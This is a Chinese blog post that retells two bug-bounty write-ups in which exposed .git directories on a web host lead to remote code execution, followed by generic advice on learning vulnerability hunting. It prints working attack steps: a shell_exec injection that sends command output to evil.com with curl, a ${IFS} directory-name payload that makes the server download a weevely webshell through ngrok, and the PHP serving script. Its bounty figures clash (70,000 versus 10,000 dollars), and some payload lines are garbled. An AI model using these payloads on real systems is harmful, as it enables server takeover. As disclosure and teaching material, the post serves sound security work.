很乐意跟大家分享一下个人挖洞赚赏金的经验,欢迎交流。
提交.git的RCE漏洞获得7万美元
最近我参加了一个私人漏洞赏金计划,我通过四台主机上的开放 .git目录找到了RCE,而且我还创纪录地拿到了10000美元漏洞赏金。其实这个漏洞很简单,只用了半天时间,但大体上逻辑很清晰。
首先,收集容易发现的漏洞要先进行侦察,因此我在我的bash脚本中使用了一系列工具:
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua\_$1
nuclei -l aqua\_$1/aquatone\_urls.txt -t ~/nuclei-templates -es info -o nuclei\_$1.txt
这不是最具体最全面的工具,大家可以自行决定添加其他工具,这些工具主要的作用是扫描大量主机。
点击nuclei查看这个项目的输出,可以发现几个主机上暴露的 .git/目录,通过这些目录可以下载源代码:
接下来,先使用git-dumper工具:
git-dumper http://example.com/.git/ output
我认为这是在代码中寻找漏洞的好机会,而且我也没有着急报告暴露的 .git。结果发现,在代码中,他们使用了对本地bash脚本的调用,通过shell_exec()函数保存和删除ftp用户,该函数采用了未经过滤的用户输入,这导致了RCE漏洞的出现。
为了制作请求,我还必须考虑到一个简单的验证,需要硬编码的密匙。
请求的最终结果:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1= [secret1]&secret2= [sha1 encoded secret2]
入口点将是deluser参数
下一步是验证漏洞本身,为此我通过注入shell_exec()对我的服务器做了一个测试curl请求,成功了
也可以通过向URI或通过POST主体发送base64编码的形式来读取命令的输出:
id命令的有效负载:someusr;curl https://evil.com/ $(id|base64|tr -d “\n”)
所以只剩下上传shell了,唯一的障碍是缺乏对当前目录的写入权限,所以shell被上传到了uploads/上。(为了生成shell,我使用了weevely工具)
如果按步骤描述这个过程:
1、将shell保存在本地的txt中,以便能够通过curl传输,并在自己的主机上建立服务器
2、用ngrok建立隧道
3、发送一个有效载荷,将我们的shell保存在uploads/shell.php中。
剩下的就是用weevely连接到上传的shell了
经过几天的帮助解决问题后,公司奖励了我一笔赏金(附上励志截图)
从泄露的PHP源代码中的Hardcore RCE漏洞,获取了3000美元
在此之前,我能够通过一个暴露的.git目录访问源代码,RCE漏洞就在这个目录中。在我探索了这个漏洞之后,我继续检查代码,寻找其他漏洞。幸运的是,我发现了另一个更复杂的RCE——通过目录创建功能。
首先,要查找源代码中的漏洞,需要确定潜在的切入点。SonarQube之类的工具可以用,但我更喜欢使用旧式grep。
以下是 PHP 的几个示例:
跨站脚本:
grep -Ri "\\$\_" . | grep "echo"\` \`grep -Ri "\\$\_GET" . | grep "echo"\` \`grep -Ri "\\$\_POST" . | grep "echo"\` \`grep -Ri "\\$\_REQUEST" . | grep "echo"
命令执行:
grep -Ri "shell\_exec(" .\` \`grep -Ri "system(" .\` \`grep -Ri "exec(" .
代码执行:
grep -Ri "eval(" .\` \`grep -Ri "assert(" .\` \`grep -Ri "preg\_replace" . | grep "/e"
SQL注入:
grep -Ri "\\$sql" .\` \`grep -Ri "\\$sql" . | grep "\\$\_"
射频干扰/低频干扰:
grep -Ri "file\_include" .\` \`grep -Ri "include(" .\` \`grep -Ri "require(" .\` \`grep -Ri "include\_once(" .\` \`grep -Ri "require\_once(" .\` \`grep -Ri "require\_once(" . | grep "\\$\_"
第1章
扫完代码,我重点关注了这一段(如下图所示),这里用到了@exec()函数。通过这个函数,我将尝试获得 RCE。
这段代码的目的是为了确定文件的大小。首先,在第40行,调用scandir(),返回一个目录内容的数组。接下来,文件和目录的名称通过preg_replace()进行过滤,并发送给filesize64()函数,@exec()调用就在这里。非常酷,但这段代码不接受任何用户输入的内容,除了/home/html/ftp-upload/uploads/OELxI386/目录的内容,我无法控制。因此,我把这段代码放在一边,等几个星期…
第2章
过了一会儿,我决定仔细检查一下我之前在这个资源上的RCE是如何修复的。我尝试使用不同的有效载荷,并意外地发现,如果我在adduser参数中指定两个由空格(test%20somename)分隔的值,例如在这个URL中:http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2] - 空格后的值将被用来在与PHP文件相同的位置创建一个同名的目录。
负责操上面这个的代码:
因此,用空格传递值,创建目录的代码将如下所示:
mkdir /home/html/ftp-upload/uploads/test somename
第3章
**既然能创建我自己的目录,那么我觉得可以使用它向@exec()**注入有效负载并使用此链实现 RCE。
第一个想法是尝试创建一个名称中包含有效负载的目录,这将向我的服务器发送请求。如果请求到达,则代码已成功执行。
因此,我使用了dig命令:
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
为了让**scandir()**读取具有这样名称的目录,我们在uploads/OELxI386/中创建它
要求:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com &secret1=[secret1]&secret2=[secret2 ]
但是由于在 payload 中使用了空格,所以没有任何效果,当它进入mkdir命令时,空格将 payload 分隔开并创建三个目录:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
因此,我们的 payload 不应该包含空格,可以用**${IFS}**代替。最终要求如下:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/ [&secret1=[secret1]&secret2=secret2 ]**
cd
I
F
S
e
r
r
o
r
s
{IFS}errors%26%26curl
IFSerrors{IFS}rce.eu.ngrok.io
I
F
S
−
o
{IFS}-o
IFS−o{IFS}shell.php**
太棒了!名称中带有有效载荷的目录已经创建,现在需要运行带有易受攻击的函数的脚本,读取该目录的内容。为此,我们需要转到http://example.com/ftp-upload/testSize.php
我们看到脚本已经运行:
请求已成功到达。这就是RCE!
让我们重复刚刚发生了什么:
1、我们发送一个请求,在我们需要的地方创建一个包含有效载荷的目录:http://example.com/ftp-upload/sync.php ?adduser=test%20 uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9 .oastify.com&secret1=[secret1]&secret2=[secret2]
2、有效负载被发送到创建目录的脚本。
将在服务器上执行的命令是:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig ${IFS} rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
3.我们启动目录读取脚本:http://example.com/ftp-upload/testSize.php
该脚本读取目录**/home/html/ftp-upload/uploads/OELxI386/(我们将有效负载上传到其中)的内容,并将其传递给filesize64()**函数,在该函数中会调用我们的有效负载代码。
它被传递给**filesize64()**函数,在该函数中使用我们的有效载荷调用代码。
第 4 章
剩下的就是上传一个 shell,以便在服务器上无障碍地执行代码。
让我们继续进行复制步骤:
1.使用weevely创建一个 shell并将其保存为 txt
weevely generate 123pass shell.txt
\2. 创建一个index.php文件,用于在我们的服务器上传 shell。
<?php
$attachment\_location = "shell.txt";
if (file\_exists($attachment\_location)) {
header($\_SERVER\["SERVER\_PROTOCOL"\] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment\_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment\_location);
die();
} else {
die("Error: File not found.");
}
当向这个脚本发出请求时,易受攻击的服务器将获取我们的shell.txt,并将其保存为shell.php。这样,shell.php就会被上传到易受攻击的服务器上。
\3. 设置本地 PHP服务器并使用ngrok隧道连接
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
\4. 最后一步是创建最终有效负载,将我们的 shell 上传到服务器。由于服务器仍有过滤功能,所以需要动点脑筋,结果,我得到了以下的有效载荷:
uploads/OELxI386/\*\*\`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php\`\*\*
有效载荷将在易受攻击的服务器上执行以下命令:
cd errors #To go to a writable directory
curl rce.eu.ngrok.io -o shell.php #The command that will download the shell to the vulnerable server
**由于服务器使用preg_match(‘/[\/:”*?<>|]+/’, $f)**形式的过滤,因此无法在代码中使用斜杠。
结果:http 😕/example.com/ftp-upload/sync.php ?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
5.我们调用脚本执行代码http://example.com/ftp-upload/testSize.php
之后,我们在服务器上收到一个请求
然后我们检查errors/ 目录是否存在 shell
它就在那里!
6.剩下的就是连接它并执行命令
weevely http://example.com/ftp-upload/errors/shell.php 123pass
现在我们可以去附近的酒吧庆祝了。
经过几天的更正,团队奖励了我一笔赏金(按照传统,一张励志截图)
![](https://img-blog.csdnimg.cn/img_convert/9ada0ee175d7e29d10a1a9e2cc834823.jpeg
最后,祝大家狩猎愉快,赏金丰厚!
漏洞挖掘怎么学?怎么挖漏洞?怎么渗透?
较合理的途径应该从漏洞利用入手,不妨分析一些公开的 CVE 漏洞。很多漏洞都有比较好的资料,分析研究的多了,对漏洞的认识自然就不同了,然后再去搞挖掘就会易上手一点!
俗话说:“磨刀不误砍柴工”,就是这么个理儿。
那么这篇文章就教大家怎么从零到挖漏洞一条龙学习!学到了别忘了给个赞
什么是漏洞挖掘
漏洞挖掘是指通过分析软件、系统或网络中存在的安全漏洞来发现并利用这些漏洞。漏洞挖掘是信息安全领域的一项重要工作,可以帮助企业和组织提高系统的安全性,避免黑客攻击和数据泄露。
漏洞挖掘的流程一般可以概括为以下几个步骤:
确定目标:确定要挖掘的软件或系统。这可能是一个应用程序、操作系统、网络设备或其他系统。
收集信息:收集有关目标的信息,包括架构、协议、版本和配置等。这些信息可以通过互联网搜索、手动扫描、自动化工具和其他途径获得。
分析漏洞:通过手动和自动化技术进行漏洞分析,识别潜在的漏洞类型和攻击面。漏洞类型可能包括缓冲区溢出、SQL 注入、跨站点脚本、文件包含、代码注入等等。
验证漏洞:验证已经识别的漏洞。这通常涉及到构建漏洞利用代码,并尝试在目标系统上运行以确定漏洞是否存在。
编写报告:对于已经验证的漏洞,需要编写漏洞报告。报告应该包括漏洞的描述、影响、利用难度和建议的修复方法等。
报告漏洞:将漏洞报告发送给目标系统的所有者或运营者。通常,这些信息将发送给该系统的安全团队或责任人。
跟踪漏洞:跟踪漏洞的修复进度,并监视其状态。如果漏洞得到修复,可以对修复进行验证以确保漏洞已被彻底解决。
需要注意的是,漏洞挖掘是一项需要长期持续学习和实践的工作。要成为一名优秀的漏洞挖掘者,需要不断学习新的技术和方法,并保持良好的思维习惯和创新能力。
学习漏洞挖掘的正确顺序
当然,学习漏洞挖掘之前,需要掌握以下几个方面的内容:
编程语言和计算机基础知识
在漏洞挖掘过程中,挖掘者需要编写代码来验证和利用漏洞,因此需要至少掌握一种编程语言,如 C、Python、Java 等。同时,还需要了解计算机的基础知识,例如计算机系统的组成结构、操作系统的原理、计算机网络的基本概念、数据库的工作原理等。如果没有这方面的基础知识,就很难理解漏洞挖掘中所需要的各种技术和工具。
安全基础知识
漏洞挖掘是一项安全工作,因此需要掌握一些安全基础知识,例如 Web 安全、网络安全、应用程序安全、二进制安全等。建议挖掘者先学习一些基础的安全知识,例如 OWASP Top 10 漏洞、常见的网络攻击技术和漏洞类型等,这可以帮助挖掘者更好地理解漏洞挖掘中所面临的问题和挑战。
漏洞挖掘工具
学习漏洞挖掘需要掌握一些常用的漏洞挖掘工具,例如 Burp Suite、Metasploit、Nmap、Wireshark、IDA 等。这些工具可以帮助挖掘者加速漏洞挖掘的过程,同时也能帮助挖掘者深入理解漏洞的原理和产生的原因。例如,Burp Suite 可以帮助挖掘者拦截和修改 HTTP 请求,Metasploit 可以帮助挖掘者构造攻击载荷等。
学习漏洞挖掘技巧和方法
学习漏洞挖掘需要了解一些常用的技巧和方法,如 Fuzzing、代码审计、反向工程、漏洞利用等。这些技巧和方法能够帮助挖掘者更快速地发现漏洞,并且深入理解漏洞的原理和利用方式。例如,Fuzzing 可以帮助挖掘者通过自动生成大量的输入数据,来测试程序是否存在漏洞,代码审计可以帮助挖掘者通过分析代码来发现漏洞等。
总的来说,学习漏洞挖掘需要综合掌握多方面的知识,包括编程、计算机基础知识、安全基础知识、漏洞挖掘工具以及漏洞挖掘技巧和方法。建议先从基础知识入手,逐步深入学习,不断实践,并在实践中发现和解决问题,才能逐渐成为一名优秀的漏洞挖掘者
五. 写在最后
希望这篇文章在可以帮助你解开一些对于漏洞挖掘的谜团。在学习和研究漏洞挖掘的过程中遇到困难并感到不知所措是很正常的。不过学习的过程就是这样,只有不断的去尝试才会进步。祝你在漏洞挖掘的路上走的越来越远。
《网络安全/黑客技术学习资源包》全套学习资料免费分享,需要有扫码领取哦!
参考来源
https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
https://medium.com/@levshmelevv/hardcore-rce-via-directory-name-for-3-000-225ed58b41a9